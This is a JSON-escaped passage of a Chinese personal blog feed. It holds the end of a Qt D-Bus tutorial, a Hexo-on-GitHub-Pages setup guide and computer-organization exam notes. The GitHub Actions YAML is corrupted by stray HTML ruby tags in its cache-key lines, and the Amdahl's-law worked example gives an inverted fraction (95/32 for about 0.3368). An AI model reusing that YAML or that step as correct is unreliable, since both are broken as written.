href=\"https://dbus.freedesktop.org/doc/dbus-specification.html#introduction\"\u003e官方文档\u003c/a\u003e,了解写 D-Bus xml 的详细知识。\u003c/p\u003e\u003ch3 id=\"toc_200\"\u003e项目配置\u003c/h3\u003e\u003cp\u003e在你的 \u003ccode\u003e.pro\u003c/code\u003e 项目配置文件中,添加下面的内容,之后「\u003cstrong\u003e添加外部库\u003c/strong\u003e」。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-makefile\"\u003eQT += dbus\n\nDBUS_ADAPTORS += org.hawa130.dbuschat.xml\nDBUS_INTERFACES += org.hawa130.dbuschat.xml\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_201\"\u003e引入头文件\u003c/h3\u003e\u003cp\u003e接下来 Build 会产生头文件。名为 \u003ccode\u003e\u0026lt;项目名\u0026gt;_adaptor.h\u003c/code\u003e 以及 \u003ccode\u003e\u0026lt;项目名\u0026gt;_interface.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e以我的为例,在需要用到 D-Bus 的代码加入下面的头文件即可。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026quot;dbuschat_adaptor.h\u0026quot;\n#include \u0026quot;dbuschat_interface.h\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_202\"\u003eQDbus 的使用\u003c/h3\u003e\u003cp\u003e可以理解成线程间的信号与槽。\u003c/p\u003e\u003cp\u003e可以参考示例项目的代码理解。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003enew ChatAdaptor(this);\nQDBusConnection::sessionBus().registerObject(\u0026quot;/\u0026quot;, this);\n\norg::example::chat *iface;\niface = new org::example::chat(QString(), QString(), QDBusConnection::sessionBus(), this);\n// 可以将 iface 作为普通的 QObject 来举行信号与槽的连接\nconnect(iface, SIGNAL(message(QString,QString)), this, SLOT(messageSlot(QString,QString)));\u003c/code\u003e\u003c/pre\u003e\n","url":"https://hawa130.com/archives/823/"},{"title":"Hexo 建站简易教程","time":"2022-04-30T14:45:00Z","content":"前言本站是基于 Typecho 的动态博客系统,为什么还要写这篇文章呢?因为最近在教别人某个笨蛋建立静态博客的过程中,发现中文互联网上的教程或多或少都有些过时,于是便结合官方文档,萌生了写这篇文...\u003chr /\u003e\n\u003ch2 id=\"toc_203\"\u003e前言\u003c/h2\u003e\u003cp\u003e本站是基于 Typecho 的动态博客系统,为什么还要写这篇文章呢?\u003c/p\u003e\u003cp\u003e因为最近在教别人\u003cdel\u003e\u003ca href=\"https://smilin9.com\"\u003e某个笨蛋\u003c/a\u003e\u003c/del\u003e建立静态博客的过程中,发现中文互联网上的教程或多或少都有些过时,于是便结合官方文档,萌生了写这篇文章的想法。\u003c/p\u003e\u003ch2 id=\"toc_204\"\u003e前期准备\u003c/h2\u003e\u003cp\u003e可参考\u003ca href=\"https://hexo.io/zh-cn/docs/\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e安装 \u003ca href=\"https://nodejs.org/\"\u003eNode.js\u003c/a\u003e。\u003c/li\u003e\u003cli\u003e安装 \u003ca href=\"http://git-scm.com/\"\u003eGit\u003c/a\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果想利用 GitHub Pages 实现远程访问,需要拥有 GitHub 账号。下面就用 GitHub Pages 来举例啦。\u003c/p\u003e\u003cp\u003e其他的静态页面托管平台用起来也许会更容易吧,只要把生成的网页文件夹(public)放在可访问的目录即可。\u003c/p\u003e\u003ch2 id=\"toc_205\"\u003e安装 Hexo\u003c/h2\u003e\u003ch3 id=\"toc_206\"\u003e设置下载源\u003c/h3\u003e\u003cp\u003e设置成淘宝源可以显著提高 npm 下载速度(不过如果你有其他加速手段就不必设置了)。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003enpm config set registry https://registry.npm.taobao.org\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_207\"\u003e安装 Hexo\u003c/h3\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003enpm install -g hexo-cli\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_208\"\u003e配置 Git\u003c/h2\u003e\u003cp\u003e如果想要把静态博客建在 GitHub Pages 上,必然离不开 Git 这个能够与远程仓库交互的工具。\u003c/p\u003e\u003cp\u003e为了使本地的 Git 软件能够连接到远程的 GitHub 服务器,需要先设置 ssh 密钥。\u003c/p\u003e\u003ch3 id=\"toc_209\"\u003e本地生成密钥\u003c/h3\u003e\u003ch4 id=\"toc_210\"\u003e生成密钥\u003c/h4\u003e\u003cp\u003eWindows 用户打开 Git Bash,执行下面的命令。「邮箱」就是注册 GitHub 时的那个邮箱。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003essh-keygen -t rsa -C \u0026quot;邮箱\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行之后连按 Enter。此时本地密钥文件将会出现在 \u003ccode\u003e~/.ssh/\u003c/code\u003e 目录下。(\u003ccode\u003e~\u003c/code\u003e 指的是用户目录,在 Windows 环境下,这个目录一般是 \u003ccode\u003eC:\\Users\\你的用户名\\\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"toc_211\"\u003e复制公钥\u003c/h4\u003e\u003cp\u003e可以用文本编辑器打开 \u003ccode\u003e~/.ssh/id_rsa.pub\u003c/code\u003e,查看复制里面的内容。\u003c/p\u003e\u003cp\u003e也可以执行下面的命令查看 id_rsa.pub 的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003ecat ~/.ssh/id_rsa.pub\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e复制内容即可。\u003c/p\u003e\u003ch3 id=\"toc_212\"\u003eGitHub 端设置\u003c/h3\u003e\u003cul\u003e\u003cli\u003e进入 GitHub 的 \u003ca href=\"https://github.com/settings/keys\"\u003eSSH 密钥设置\u003c/a\u003e。\u003c/li\u003e\u003cli\u003e点击「New SSH Key」。\u003c/li\u003e\u003cli\u003e「Title」随便填,是能够表示这台电脑的标识。\u003c/li\u003e\u003cli\u003e「Key」填写刚才复制的 id_rsa.pub 内容。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_213\"\u003eGit 用户设置\u003c/h3\u003e\u003cp\u003e执行下面的命令,用户名和邮箱均为注册 GitHub 时填的那个。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit config --global user.name \u0026quot;用户名\u0026quot;\ngit config --global user.email \u0026quot;邮箱\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e上面的步骤完成后就可以测试下和 GitHub 的连通性,执行下面的命令即可。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003essh -T git@github.com\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e第一次测试会有如下的输出:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eThe authenticity of host 'github.com (20.205.243.166)' can't be established.\nED25519 key fingerprint is SHA256:****.\nThis key is not known by any other names\nAre you sure you want to continue connecting (yes/no/[fingerprint])?\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e此时输入 \u003ccode\u003eyes\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果成功的话会看到如下的输出:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eWarning: Permanently added 'github.com' (ED25519) to the list of known hosts.\nHi hawa130! You've successfully authenticated, but GitHub does not provide shell access.\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果没成功的话,请重新生成密钥,再来一次吧。也有可能是公钥没复制好,重新复制一下,并添加到 GitHub。\u003c/p\u003e\u003cp\u003e完成以上步骤了的话,Git 就配置好了!\u003c/p\u003e\u003ch2 id=\"toc_214\"\u003e建立站点目录\u003c/h2\u003e\u003cp\u003e此部分可参考\u003ca href=\"https://hexo.io/zh-cn/docs/setup\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e这个 folder 就是站点目录了。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo init \u0026lt;folder\u0026gt;\ncd \u0026lt;folder\u0026gt;\nnpm install\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e并\u003ca href=\"https://hexo.io/zh-cn/docs/configuration.html\"\u003e配置 _config.yml\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_215\"\u003e部署到 GitHub\u003c/h2\u003e\u003cp\u003e现在部署在 GitHub Pagse 的 Hexo 可以不需要进行 \u003ccode\u003ehexo g\u003c/code\u003e 来生成站点了。利用 GitHub Actions,我们可以白嫖 GitHub 的服务器资源来帮助我们自动化生成站点并部署。(这也是中文教程缺失的一点,大部分都是传统的本地生成)\u003c/p\u003e\u003cp\u003e参考的\u003ca href=\"https://hexo.io/docs/github-pages.html\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003ch3 id=\"toc_216\"\u003e建立 Git 仓库\u003c/h3\u003e\u003cp\u003e进入到站点目录。也就是 \u003ccode\u003ehexo init\u003c/code\u003e 生成的那个文件夹里。执行下面的命令:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit init\ngit add . # 有个点\ngit commit -m \u0026quot;initial commit\u0026quot; # 引号里面的是提交信息,可以随便写\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_217\"\u003e推送到 GitHub\u003c/h3\u003e\u003ch4 id=\"toc_218\"\u003e使用命令行\u003c/h4\u003e\u003cp\u003e在 GitHub 上新建一个空仓库(repo)。如果想要白嫖 GitHub 的 *.github.io 的域名来访问静态博客,那就把仓库起名为「用户名.github.io」。其他的就用默认设置就行了。(如果你财大气粗,有自己购买的域名,那就随意起仓库名吧)\u003c/p\u003e\u003cp\u003e此时还是在你的站点目录里面,执行下面的命令。GitHub 在空仓库的界面也会显示这些命令(选择 SSH,在第二个内容块)。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit remote add origin git@github.com:用户名/仓库名.git\ngit branch -M main\ngit push -u origin main\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行完这些命令,没报错的话就是推送到 GitHub 上了,可以刷新 GitHub 看看。\u003c/p\u003e\u003ch4 id=\"toc_219\"\u003e使用 GitHub Desktop 客户端\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003eFile\u003c/strong\u003e \u0026gt; \u003cstrong\u003eAdd Local Repository...\u003c/strong\u003e,添加刚才建立的 git 仓库,然后发布即可。\u003c/p\u003e\u003ch3 id=\"toc_220\"\u003e配置 GitHub Actions\u003c/h3\u003e\u003ch4 id=\"toc_221\"\u003e创建 Actions 配置\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003e.github\u003c/code\u003e 目录里面新建文件夹 \u003ccode\u003eworkflows\u003c/code\u003e,再新建一个文件 \u003ccode\u003epages.yml\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e也就是 \u003ccode\u003e.github/workflows/pages.yml\u003c/code\u003e,里面写入以下内容。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-yaml\"\u003ename: Pages\n\non:\n push:\n branches:\n - main # default branch\n\njobs:\n pages:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v2\n - name: Use Node.js 16.x\n uses: actions/setup-node@v2\n with:\n node-version: '16'\n - name: Cache NPM dependencies\n uses: actions/cache@v2\n with:\n path: node_modules\n key: $\u003cruby\u003e runner.OS }}-npm-cache\n restore-keys\u003crp\u003e(\u003c/rp\u003e\u003crt\u003e |\n ${{ runner.OS \u003c/rt\u003e\u003crp\u003e)\u003c/rp\u003e\u003c/ruby\u003e-npm-cache\n - name: Install Dependencies\n run: npm install\n - name: Build\n run: npm run build\n - name: Deploy\n uses: peaceiris/actions-gh-pages@v3\n with:\n github_token: ${{ secrets.GITHUB_TOKEN }}\n publish_dir: ./public\u003c/code\u003e\u003c/pre\u003e\u003ch4 id=\"toc_222\"\u003e设置 Actions 权限\u003c/h4\u003e\u003cp\u003e找到 \u003cstrong\u003eSettings\u003c/strong\u003e \u0026gt; \u003cstrong\u003eActions\u003c/strong\u003e \u0026gt; \u003cstrong\u003eGeneral\u003c/strong\u003e 里的 \u003cstrong\u003eWorkflow permissions\u003c/strong\u003e(在最下面),设置为 「\u003cstrong\u003eRead and write permissions\u003c/strong\u003e」。\u003c/p\u003e\u003ch3 id=\"toc_223\"\u003e将改动推送到 GitHub 上\u003c/h3\u003e\u003cp\u003e以后每次改完文件,都可以执行下面的命令来同步到 GitHub 上。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit add .github/workflows/pages.yml\ngit commit -m \u0026quot;修改 Actions 配置\u0026quot;\ngit pull\ngit push\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果你使用的是 GitHub Desktop 客户端,填写 Message,点击 Commit 然后再点击上面的 Push 就行。\u003c/p\u003e\u003ch3 id=\"toc_224\"\u003e设置 GitHub Pages\u003c/h3\u003e\u003cp\u003e回到 GitHub 的这个仓库。\u003c/p\u003e\u003cp\u003e找到 \u003cstrong\u003eSettings\u003c/strong\u003e \u0026gt; \u003cstrong\u003ePages\u003c/strong\u003e \u0026gt; \u003cstrong\u003eSource\u003c/strong\u003e,改成「\u003cstrong\u003egh-pages\u003c/strong\u003e」。如果选项里没有 gh-pages,那一定是前面的 Actions 配置出现了问题,可以去 Actions 这个标签里看看报错。\u003c/p\u003e\u003cp\u003e如果你有域名的话,底下的 CNAME 可以设置为自己的域名。(没有域名的话就不要乱动了)\u003c/p\u003e\u003ch2 id=\"toc_225\"\u003e访问网站\u003c/h2\u003e\u003cp\u003e浏览器访问「用户名.github.io」或者你的自定义域名,如果没问题的话,静态博客就呈现在你的屏幕上啦!\u003c/p\u003e\u003ch2 id=\"toc_226\"\u003eHexo 使用\u003c/h2\u003e\u003ch3 id=\"toc_227\"\u003e基本命令\u003c/h3\u003e\u003cp\u003e更多命令可参考\u003ca href=\"https://hexo.io/zh-cn/docs/commands\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"toc_228\"\u003e新建文章\u003c/h4\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo new [layout] \u0026lt;title\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在默认的条件下,新建的文章会保存在 \u003ccode\u003esource/_posts/\u003c/code\u003e 目录下。\u003c/p\u003e\u003cp\u003e新建的文章可以直接推送到 GitHub,不需要执行 \u003ccode\u003ehexo g\u003c/code\u003e 和 \u003ccode\u003ehexo d\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"toc_229\"\u003e生成页面\u003c/h4\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo g\u003c/code\u003e\u003c/pre\u003e\u003ch4 id=\"toc_230\"\u003e预览站点\u003c/h4\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo s\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_231\"\u003e把新文章推送到 GitHub\u003c/h3\u003e\u003cp\u003e如果你新建了一篇文章,需要推送到 GitHub 上。还是老样子。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit add .\ngit commit -m \u0026quot;新文章\u0026quot;\ngit pull\ngit push\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果你使用的是 GitHub Desktop 客户端,填写 Message,点击 Commit 然后再点击上面的 Push 就行。\u003c/p\u003e\u003ch2 id=\"toc_232\"\u003eHexo 特殊技巧\u003c/h2\u003e\u003cp\u003eGitHub 上有众多 hexo 主题,搜索关键词「hexo theme」就能找到不少。\u003c/p\u003e\n","url":"https://hawa130.com/archives/819/"},{"title":"计组期中复习笔记","time":"2022-04-24T10:48:00Z","content":"计算机基础发展史第一代:电子管;机器语言。第二代:晶体管;监控语言、高级语言。第三代:中小规模集成电路、磁芯存储器;高级语言、分时操作系统。第四代:大规模与超大规模集成电路、半导体存储器、微处理...\u003chr /\u003e\n\u003ch2 id=\"toc_233\"\u003e计算机基础\u003c/h2\u003e\u003ch3 id=\"toc_234\"\u003e发展史\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e第一代:\u003c/strong\u003e电子管;机器语言。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第二代:\u003c/strong\u003e晶体管;监控语言、高级语言。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第三代:\u003c/strong\u003e中小规模集成电路、磁芯存储器;高级语言、分时操作系统。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第四代:\u003c/strong\u003e大规模与超大规模集成电路、半导体存储器、微处理器;DOS / Windows,Unix / Linux,Mac OS。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第五代:\u003c/strong\u003e巨大规模集成电路,超大规模、超高速集成电路,多处理器、多核处理器;软件与算法。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_235\"\u003e基本组成\u003c/h3\u003e\u003cul\u003e\u003cli\u003e硬件系统\u003c/li\u003e\u003cli\u003e软件系统\u003c/li\u003e\u003cli\u003e指令体系结构(ISA)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_236\"\u003e分类\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFlynn 分类法。\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003eSISD(单指令流单数据流)\u003c/li\u003e\u003cli\u003eSIMD\u003c/li\u003e\u003cli\u003eMISD\u003c/li\u003e\u003cli\u003eMIMD(多指令流多数据流)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_237\"\u003e加速比\u003c/h2\u003e\u003ch3 id=\"toc_238\"\u003e阿姆达尔定律\u003c/h3\u003e\u003cp\u003e改进后系统执行时间:$T_n=T_0(1-f_e+\\frac{f_e}{r_e})$\u003c/p\u003e\u003cp\u003e加速比:$S_p=\\frac{1}{1-f_e+\\frac{f_e}{r_e}}$\u003c/p\u003e\u003cp\u003e​ 多个部件的加速比:$S_p=\\frac{1}{1-\\sum f_e+\\sum \\frac{f_e}{r_e}}$\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e符号\u003c/th\u003e\u003cth align=\"left\"\u003e含义\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e$T_0$\u003c/td\u003e\u003ctd align=\"left\"\u003e改进前系统执行时间\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e$f_e$\u003c/td\u003e\u003ctd align=\"left\"\u003e可改进比例(可改进部分在原执行时间中所占的比例)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e$r_e$\u003c/td\u003e\u003ctd align=\"left\"\u003e部件加速比(某部件改进后性能提高的比例)\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"toc_239\"\u003e例题\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e若计算机系统有 3 个部件 a、b、c 是可改进的,它们的部件加速比分别为 30、30、20,部件 a 和 b 在总执行时间中所占的比例分别是 30%、30%。 若要使整个系统的加速比达到 10,则部件 c 在总执行时间中所占的比例应为 ?%\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$S_p=10$\u003c/p\u003e\u003cp\u003e$\\sum f_e=0.3+0.3+x=0.6+x$\u003c/p\u003e\u003cp\u003e$\\sum \\frac{f_e}{r_e}=\\frac{0.3}{30}+\\frac{0.3}{30}+\\frac{x}{20}=0.02+\\frac{x}{20}$\u003c/p\u003e\u003cp\u003e带入公式得:$10=\\frac{1}{1-(0.6+x)+(0.02+\\frac{x}{20})}$\u003c/p\u003e\u003cp\u003e解得:$x=\\frac{95}{32} \\approx 0.3368$\u003c/p\u003e\u003ch2 id=\"toc_240\"\u003e进制转换\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e97.625 转换为二进制和十六进制。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"二进制\" data-src=\"https://upload.hawa130.com/2022/04/3917163254.jpeg#vwid=600\u0026vhei=375\" src=\"https://upload.hawa130.com/2022/04/3917163254.jpeg#vwid=600\u0026vhei=375\"\u003e\u003cfigcaption\u003e二进制\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e转换结果:\u003ccode\u003e1100001.101\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"十六进制\" data-src=\"https://upload.hawa130.com/2022/04/1071339794.jpeg#vwid=258\u0026vhei=100\" src=\"https://upload.hawa130.com/2022/04/1071339794.jpeg#vwid=258\u0026vhei=100\"\u003e\u003cfigcaption\u003e十六进制\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e转换结果:\u003ccode\u003e61.A\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"toc_241\"\u003e定点数\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e下述的 $n$ 均表示编码的位数(含符号位)。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"toc_242\"\u003e原码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e0 为正,1 为负。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数值位:\u003c/strong\u003e$|X|$\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e可表示范围\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e纯整数:\u003c/strong\u003e$-(2^{n-1}-1)\\sim +(2^{n-1}-1)$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e纯小数:\u003c/strong\u003e$-(1-2^{-(n-1)})\\sim +(1-2^{-(n-1)})$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_243\"\u003e补码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e0 为正,1 为负。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数值位\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$X\\ge 0$:$X$\u003c/li\u003e\u003cli\u003e$X\\lt 0$:$2^n+X$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e可表示范围\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e纯整数:\u003c/strong\u003e$-2^{n-1}\\sim +(2^{n-1}-1)$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e纯小数:\u003c/strong\u003e$-1\\sim +(1-2^{-(n-1)})$\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e负数补码求法:\u003c/strong\u003e先将 $|X|$ 用原码表示。从右往左找到第一个 1,将这一位左边的位全部取反,这一位及其右边的位保持不变。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e补码减法:\u003c/strong\u003e$\\begin{align} [X-Y]_\\text{补}\u0026amp;=[X]_\\text{补}+[-Y]_\\text{补} \\\\ \u0026amp;=[X]_\\text{补}+[[Y]_\\text{补}]_\\text{求补} \\end{align}$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_244\"\u003e反码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e0 为正,1 为负。\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003cstrong\u003e数值位\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e$X\\ge 0$:$X$\u003c/li\u003e\u003cli\u003e$X\\lt 0$:$|X|$ 按位取反\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e可表示范围:\u003c/strong\u003e与原码相同。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e负数补码与反码的关系:\u003c/strong\u003e$[X]_\\text{补}=[X]_\\text{反}$的最低位加 1。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_245\"\u003e移码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e符号位:\u003c/strong\u003e1 为正,0 为负。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数值:\u003c/strong\u003e$[X]_\\text{移}=2^{n-1}+X$\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e与补码的关系:\u003c/strong\u003e补码的\u003cstrong\u003e符号位取反\u003c/strong\u003e就是移码。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e可表示范围:\u003c/strong\u003e与补码相同。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_246\"\u003e编码与真值的关系\u003c/h3\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" data-src=\"https://upload.hawa130.com/2022/04/3318202124.jpeg#vwid=1598\u0026vhei=500\" src=\"https://upload.hawa130.com/2022/04/3318202124.jpeg#vwid=1598\u0026vhei=500\"\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e由此可见,移码可以直接比较大小。\u003c/p\u003e\u003ch2 id=\"toc_247\"\u003e浮点数\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e二进制的科学计数法。\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"toc_248\"\u003e规格化浮点数\u003c/h3\u003e\u003ch5 id=\"toc_249\"\u003e尾数 $M$ 形式\u003c/h5\u003e\u003cul\u003e\u003cli\u003e$M\\ge 0$:$[M]_\\text{补}=0.1\\times\\times\\cdots\\times$\u003c/li\u003e\u003cli\u003e$M\\lt 0$:$[M]_\\text{补}=1.0\\times\\times\\cdots\\times$\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"toc_250\"\u003e规格化\u003c/h5\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e左归:\u003c/strong\u003e每算数左移 1 位,阶码减 1。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e右规:\u003c/strong\u003e每算数右移 1 位,阶码加 1。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_251\"\u003eIEEE 754 标准\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003eIEEE 754 规格化尾数:1.f\u003c/strong\u003e,即 $1.\\times\\times\\cdots\\times$(包含符号位)\u003c/p\u003e\u003cp\u003e$\\text{尾数}\\times 2^\\text{阶数}$\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"IEEE 754 单精度浮点数\" data-src=\"https://upload.hawa130.com/2022/04/456034720.jpeg#vwid=684\u0026vhei=200\" src=\"https://upload.hawa130.com/2022/04/456034720.jpeg#vwid=684\u0026vhei=200\"\u003e\u003cfigcaption\u003eIEEE 754 单精度浮点数\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003cp\u003e阶码应为阶数的补码符号位取反\u003cstrong\u003e再减去 1\u003c/strong\u003e(比标准移码少 1)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e图片勘误:f 为原码。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"toc_252\"\u003eBCD 码\u003c/h2\u003e\u003cp\u003e把十进制数拆成一位位数字来表示,每位使用四位二进制数来表示。\u003c/p\u003e\u003cp\u003e以常用的 8421 码为例,如 49,可拆成 4 和 9,即 \u003ccode\u003e0100\u003c/code\u003e 和 \u003ccode\u003e1001\u003c/code\u003e,故 49 的 8421 BCD 码为 \u003ccode\u003e01001001\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eBCD 码也可以参与运算。\u003c/p\u003e\u003ch2 id=\"toc_253\"\u003e检错与纠错码\u003c/h2\u003e\u003ch3 id=\"toc_254\"\u003e海明码距\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e定义:\u003c/strong\u003e将两个码字按位异或后 1 的个数。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e检错 $r$ 位:\u003c/strong\u003e$d_\\text{min}$ 至少为 $r+1$。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e纠错 $r$ 位:\u003c/strong\u003e$d_\\text{min}$ 至少为 $2r+1$。\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"toc_255\"\u003e确保具有一位纠错能力\u003c/h5\u003e\u003cp\u003e$2^k\\ge n+k+1$,其中:$n$ 为数据长度,$k$ 为校验位位数。\u003c/p\u003e\u003ch3 id=\"toc_256\"\u003e奇偶校验\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e奇校验:\u003c/strong\u003e数据中 1 的个数为\u003cstrong\u003e奇数\u003c/strong\u003e时,校验位为 0。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e偶校验:\u003c/strong\u003e数据中 1 的个数为\u003cstrong\u003e偶数\u003c/strong\u003e时,校验位为 0。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_257\"\u003e海明校验码\u003c/h3\u003e\u003ch4 id=\"toc_258\"\u003e编码\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e编码 \u003ccode\u003e10101110\u003c/code\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"\" 